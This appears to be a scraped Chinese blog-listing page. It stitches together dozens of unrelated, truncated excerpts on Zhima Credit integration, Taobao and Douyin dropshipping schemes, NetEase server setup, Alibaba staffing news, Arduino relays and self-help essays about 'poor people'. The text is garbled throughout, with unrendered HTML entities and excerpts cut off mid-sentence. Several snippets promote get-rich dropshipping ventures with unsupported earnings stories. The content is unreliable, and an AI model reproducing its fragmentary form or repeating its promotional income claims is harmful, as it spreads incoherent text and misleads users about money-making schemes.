谈谈对接芝麻信用踩的坑

由于项目需要&#xff0c;接入芝麻信用对用户进行认证&#xff0c;打开芝麻信用官方网站&#xff08; https://b.zmxy.com.cn/index.htm&#xff09;查看官方demo,在文档中看到如图&#xff1a; 瞬间觉得这个官方demo的垃圾了。 在其中有需要注意如下&#xff1a; 1.本地生成…...

ios 获取芝麻信用分

首先给上芝麻信用的官网https://b.zmxy.com.cn/index.htm?scenealipay 关于导入SDK我就不多做解释了&#xff0c;在文档中写的还是比较详细的&#xff0c;有问题的话可以看看http://blog.csdn.net/l2i2j2/article/details/51254816这篇博客写的也很详细 &#xff0c;我这边主…...

店宝宝:淘宝改版是因为抖音、快手给的压力?

近期,淘宝公布了其最新的改版计划,出了发布最新的改版方向之外,淘宝还计划在年底邀请平台商家和用户内测新版本功能。阿里副总裁平畴称淘宝新的版本讲以“逛逛”和直播作为淘宝最重要的内容中心。从平畴透漏的内容似乎可以猜到淘宝新版本的重心似乎在内容方面。 其实在内容方向…...

从负债6万到存款百万,聪明人是如何通过做淘宝逆袭的?

问大家一个问题&#x1f53d;你手上的手机&#xff0c;除了打电话&#xff0c;发微信&#xff0c;玩游戏&#xff0c;刷抖音之外&#xff0c;还能做什么&#xff1f;如果我告诉你&#xff1a;我全职在家&#xff0c;仅用一部手机一台电脑&#xff0c;就赚了几十万收入&#xff…...

软件优势分析

网购平台的优势分析 我们的团队项目是要打造一个校内的二手交易平台&#xff0c;故此借鉴各大电商的先例&#xff0c;构想我们的具体实现。 淘宝&#xff1a; 优势&#xff1a;   1、齐全&#xff1a;囊括生活的各个方面&#xff0c;门类齐全。 2、竞争&#xff1a;对商家审核…...

抖音小店无货源空降电商圈,到底是新的机遇,还是新的“骗局”?

大家好~ 我是电商欣欣~ 一个从事电商无货源的90后~ 遇到困难时不要抱怨&#xff0c;既然改变不了过去&#xff0c;那就努力改变未来。 工种昊&#xff1a;电商欣欣 随着电商行业的火热度持续上涨&#xff0c;想必朋友们对无货源模式已经并不陌生了。 从最开始的淘宝无货源…...

天猫店群是什么?天猫无货源的投资回报如何?天猫店群可以做吗?

天猫店群是什么&#xff1f;天猫无货源的投资回报如何&#xff1f;天猫店群可以做吗&#xff1f; 大家好&#xff0c;我是天猫店群君君。 今天君君专门给大家做一篇有关天猫店群新手投入做的问题&#xff0c; 主旨在于深度剖析一下今年最火热的投资项目——天猫无货源店群&a…...

2020电商新宠儿:天猫无货源模式,一位电商老手来告诉你怎么做

大家好&#xff0c;我是电商西西卡&#xff0c;一个从事无货源的电商人 2020年是不平凡的一年&#xff0c;实体行业遭受重大打击&#xff0c;电商行业逆风而起&#xff1b;在疫情之下&#xff0c;很多人都在抱怨说&#xff1a;“不满意自己现在的状态&#xff0c;迷茫、焦虑&am…...

抖音小店无货源:为什么现在95后都不想上班,想着去创业?

大家好~ 我是电商欣欣~ 一个从事电商无货源的90后~ 不论你在什么时候开始&#xff0c;重要的是开始之后就不要停止。 欣欣今天就不跟大家说别的废话了&#xff0c;我们直接进入正题。 创业这两个字眼想必大家都不陌生&#xff0c;但是说白了大多数人选择创业的初衷就是赚…...

天猫店群操作需要注意哪些问题,该如何规避?无货源操作分享

天猫店群操作需要注意哪些问题&#xff0c;该如何规避&#xff1f;无货源操作分享 大家好&#xff0c;我是电商君君。 最近接触了新手朋友比较多&#xff0c;所以今天给新手朋友们总结一下&#xff0c;操作天猫店群时需要注意的问题&#xff0c;以及该如何做好规避&#xff0…...

错过了淘宝、拼多多,今年的电商风口抖音小店无货源你能抓住吗?

大家好~ 我是电商欣欣~ 一个从事电商无货源的90后~ 每个人都有成功的机会&#xff0c;就看你给不给自己机会。 世人慌慌张张&#xff0c;不过图碎银几两。年龄增长的同时&#xff0c;意味着我们也要肩负起更多的责任&#xff0c;可是慢慢的很多人发现&#xff0c; 即便自己…...

新手做无货源店群该如何准确运营?店铺精细化运营对店铺有什么影响?

随着淘宝商家飞速增多、淘内的竞争也越来越激烈&#xff0c;推广成本的逐日攀升&#xff0c;以往只知道砸钱导流量的粗放型经营形式已逐渐落伍&#xff0c;不珍惜淘宝流量、不重视自动营销、不重视老客户二次营销、不重视在线客服销售管理、不重视营销效果、数据分析的卖家必然…...

网易云服务器使用https

网易云服务器使用https 管理后台创建证书后&#xff0c;需要在线找一个生产pfx证书的网站posted on 2019-05-30 10:11 ericyuan 阅读(...) 评论(...) 编辑 收藏 转载于:https://www.cnblogs.com/ericyuan/p/10947997.html...

仿网易云项目前端服务器部署+Nodejs部署

做了几天的仿网易云移动端项目&#xff0c;做出来了不知道怎么部署上线&#xff1f;搞了好久&#xff01;&#xff01;&#xff01;&#xff01;记录一下&#xff01; 1.首先&#xff08;优化 检查&#xff09;项目 1.1 vue.config.js种配置: 安装 npm i compression-webpac…...

利用云服务器搭配宝塔面板解禁网易云

文章目录1、服务器安装宝塔面板2、在服务器上下载项目代码3、打开软件商场 下载pm24、在pm2设置中下载nodejs环境5、在文件中找到app.js文件&#xff08;注意文件位置&#xff09;6、pm2设置启动文件1、第一步 添加项目文件2、设置启动文件3、完成之后的效果图7、宝塔面板 安装…...

阿里巴巴员工5年跳槽4次,晒出目前真实年薪,还以为看错了

很多人想跳槽的原因大部分都是因为想要涨工资了&#xff0c;也就是原单位里&#xff0c;钱没给到位&#xff0c;或是自己干的心里委屈了。然而如果还在原单位&#xff0c;涨薪的速度永远没有新来的那些新员工的工资高呢&#xff1f; 最近一个阿里巴巴的员工分享出来自己目前真…...

阿里巴巴内网宣布将取消“361”制度!员工质疑:换汤不换药

点击上方“Java基基”&#xff0c;选择“设为星标”做积极的人&#xff0c;而不是积极废人&#xff01;源码精品专栏 原创 | Java 2020 超神之路&#xff0c;很肝~中文详细注释的开源项目RPC 框架 Dubbo 源码解析网络应用框架 Netty 源码解析消息中间件 RocketMQ 源码解析数据库…...

阿里巴巴:减少 13616 名员工

来源&#xff1a;云头条2022年8月4日&#xff0c;阿里巴巴发布截止《2022年六月底止季度业绩公告》&#xff08;即自然年第二季度&#xff09;。营收构成&#xff1a;员工环比减少 9241 人&#xff1a;2022年上半年员工减少 13616 人&#xff1a;阿里云财报其中阿里云在抵消跨分…...

阿里巴巴一共25000名员工,需要多少人进行绩效管理?(转)

阿里巴巴一共25000名员工&#xff0c;需要多少人进行绩效管理&#xff1f;答案是一人。在得到了这个答案之后&#xff0c;小伙伴们直呼惊呆了&#xff01;真是万万没想到…… 从建筑到员工考核&#xff0c;都被打上了深深的阿里文化烙印。那么&#xff0c;到底什么是阿里文化&a…...

spring integration开篇:说明

系列文章目录 …TODO spring integration开篇&#xff1a;说明 …TODO spring integration使用&#xff1a;消息路由 spring integration开篇&#xff1a;说明系列文章目录前言enterprise integration patterns&#xff08;EIP&#xff09;EIP跟ESB的联系和异同spring integra…...

GoLand下载与安装2023版教程注册码WebStorm使用配置

GoLand是一款功能强大的Go语言开发工具&#xff0c;提供了高效的代码编辑、调试、重构等功能。下面是安装GoLand的简单教程&#xff1a; 下载GoLand安装包&#xff1a;在官网https://www.jetbrains.com/go/下载GoLand的安装包。 安装GoLand&#xff1a;双击下载的安装包进行安…...

arduino控制继电器

一、实物连接 二、程序实现 代码如下&#xff1a; const int relayPin_111; //发射开关 const int relayPin_212;//通电开关 /**********************************************/ void setup() {pinMode(relayPin_1, OUTPUT);pinMode(relayPin_2, OUTPUT);//initialize rel…...

物联网开发笔记(35)- 使用Micropython开发ESP32开发板之控制继电器

一、目的 这一节我们学习如何使用我们的ESP32开发板来控制步继电器。实际应用中&#xff0c;继电器在电路中起着自动调节、安全保护、转换电路等作用。 二、环境 ESP32 继电器 Thonny IDE 几根杜邦线 LED发光二极管 DC直流电源&#xff08;可选&#xff09; 接线示意图…...

【前端】Vue项目:旅游App-(15)home:网络请求house数据、动态并组件化展示house列表信息

文章目录目标过程与代码content组件请求数据&#xff1a;houseListrequeststore控制台输出动态加载更多列表数据house-item组件阶段1&#xff1a;数据传送阶段2&#xff1a;对着目标写样式house-item-v9house-item-v9&#xff1a;debughouse-item-v3阶段3&#xff1a;总体效果效…...

播放视频报403 forbidden的原因及解决方案

一、原因 1、原因&#xff1a;我们知道&#xff0c;在页面引入图片、JS 等资源&#xff0c;或者从一个页面跳到另一个页面&#xff0c;都会产生新的 HTTP 请求&#xff0c;浏览器一般都会给这些请求头加上表示来源的 Referrer 字段。图片服务器通过检测 Referrer 是否来自规定…...

为什么有些大龄剩女喜欢和穷人谈钱,喜欢和富人谈感情?

1、女人嫁有钱没了感情&#xff0c;嫁穷有感情没钱&#x1f4b0;&#xff0c;我始终觉得有感情比有钱跟快乐&#xff0c;无论多苦多累 2、和穷人谈钱是因为你没钱。和富人谈感情是因为知道对方有钱不必担心&#xff0c;一心把感情稳固好钱自然就来了&#xff0c;说白了其实不管…...

穷人的孩子真的早当家吗?

我本人就是穷人家的孩子&#xff0c;还不是一般的穷。从小我也懂事&#xff0c;爱学习。而且成绩也好&#xff0c;最后成了村里的骄傲&#xff0c;是第一个考上211重点大学的人&#xff0c;一本。当时可是扬眉吐气了。 但是毕业后&#xff0c;我混的并不是太好&#xff0c;用朋…...

穷人应该先买房还是先创业?

我个人建议先买房。既然是穷人&#xff0c;那么肯定资金不宽裕&#xff0c;这种情况下不应该是先买房来保障自己的生活&#xff0c;让自己过的安稳吗&#xff1f; 可能大家会问&#xff0c;为什么不能先创业呢&#xff1f;功成名就&#xff0c;买车买房不香吗&#xff1f;但是我…...

穷人的新年红包系统,单节点 12W TPS

每年春节都是红包漫天飞&#xff0c;今年百度红包成为了最耀眼的明星。本届春晚红包活动&#xff0c;百度APP 最终累计互动量达到 208 亿次&#xff0c;百度 DAU 峰值突破 3 亿。面对这些数字&#xff0c;我不由感叹大厂技术的强大&#xff0c;机器资源的海量。作为一个穷人&am…...

穷人和富人的12大区别

穷人和富人最大的区别就是一个有钱&#xff0c;一个没钱&#xff01; 小编这里给大家推荐12个有思想有见地的公众号&#xff0c;看看它们&#xff0c;你也许会明白&#xff0c;实际上&#xff0c;穷人和富人本质的区别在于以下这12个&#xff01; 1.富人喜欢投资&#xff0c;穷…...

穷人翻身唯一出路是什么?穷人赚钱一点都不难?

世界上有很多种人&#xff0c;可以分为男人或者女人。更全面一点可以说是穷人和富人&#xff0c;有些人出生就含着金钥匙&#xff0c;而有的人可能连饭都吃不上&#xff0c;但是又不想就此放弃&#xff0c;所以会选择创业这条路&#xff0c;穷人翻身唯一出路到底是什么&#xf…...

算法学习- 皇帝、穷人、守财奴

题目 皇帝不是穷人&#xff0c;在守财奴之中也有穷人&#xff0c;所以&#xff0c;有一些_______并不是_______。 A&#xff1a;皇帝&#xff0c;皇帝 B&#xff1a;守财奴&#xff0c;守财奴 C&#xff1a;守财奴&#xff0c;皇帝 D&#xff1a;皇帝…...

穷人的语义处理工具箱之二:语义编辑距离

/* 版权声明&#xff1a;可以任意转载&#xff0c;转载时请标明文章原始出处和作者信息 .*/ author: 张俊林 转自&#xff1a;http://blog.csdn.net/malefactor/article/details/50957815 语义编辑距离其实是去年和语义Jaccard一起做的&#xff0c;这篇文章主体内容也是去年写…...

DIY穷人版谷歌眼镜,自定义手势操控,树莓派再一次被开发新玩法

兴坤 发自 凹非寺量子位 报道 | 公众号 QbitAI通过帅气的手势&#xff0c;操控投影在眼前的电子成像&#xff0c;这不就是科幻片里的基础配置嘛。现在&#xff0c;有人把它从科幻电影中带入了现实。动动手指&#xff0c;实现对眼前世界的掌控。热衷于制作智能小物件的油管博主T…...

皇帝、穷人、守财奴

本总结是是个人为防止遗忘而作&#xff0c;不得转载和商用。 题目 皇帝不是穷人&#xff0c;在守财奴之中也有穷人&#xff0c;所以&#xff0c;有一些_______并不是_______。 A&#xff1a;皇帝&#xff0c;皇帝 B&#xff1a;守财奴&#xff0c;守财奴 C&…...

十条穷人思维,来看看你占了几条!

穷人思维一&#xff1a;总是出卖自己的时间&#xff0c;不懂得花钱买时间。当然这对于不少人来说可能是不得已&#xff0c;因为在没有钱的情况下只能出卖自己的时间&#xff0c;但是有些人并非没有钱&#xff0c;只是觉得钱比时间更宝贵&#xff0c;所以情愿花很多时间省下一点…...

包子笔记 - 摆脱穷人思维

龙城不拽 2019-12-20 08:54:41   跟踪楼主帖子有两年了&#xff0c;感觉楼主是个善于思考的商业高人&#xff0c;经营思维&#xff0c;投资思维投资理念深受感触。自己做股票也几年了&#xff0c;股票盈利太难&#xff0c;没有大牛市每年百分之二十都很难&#xff0c;希望楼主…...

穷人与富人的差距:越有钱的人负债越高

马云曾经说过&#xff0c;“当今社会&#xff0c;负债越多的人&#xff0c;越有本事。”虽然这句话讲得有失偏颇&#xff0c;但是从一定程度上来说&#xff0c;还是有其合理之处。接下来&#xff0c;坤鹏论就浅谈对“为什么越有钱的人负债越多”这个问题得看法。 首先&#xff…...

穷人入门区块链指南

本文来自作者 Fengy 在 GitChat 上分享 「区块链与比特币快速入门」编辑 | 甘道夫写在前面本人是个对编程以及区块链感兴趣的人。平时没事的时候喜欢阅读技术博客&#xff0c;技术书籍。本次在 GitChat 上发起 Chat&#xff0c;主要是带领区块链小白、炒币者、区块链爱好者利用…...

穷人最讨人嫌的地方其实不是穷,而是太在意面子

读者来信: 辛老师,您好! 我是一个月薪4000元,刚刚入运维行业的转行人员; 因为是自学,又加上学历是高中,所以我就想着先找个钱少的工作先干着。 而我的一个朋友早我三年入行,他是大学学历,之前就学的计算机,所以他培训完之后入行,现在薪资已经月薪5W。 我一直把他…...

陈亮穷人续写广东省南海东方六社小学

我不禁想问的孤单 今天的我不禁想问的孤单&#xff0c;经历了数千次失败&#xff0c;您&#xff0c;蚱蜢的尾巴跟肚子是连在一起的&#xff0c;我还送了她一张做礼物呢&#xff0c;妈妈汲取了我的经验&#xff0c;尽情地歌颂着春天春天鸟语花香&#xff0c;把我打得很重&#x…...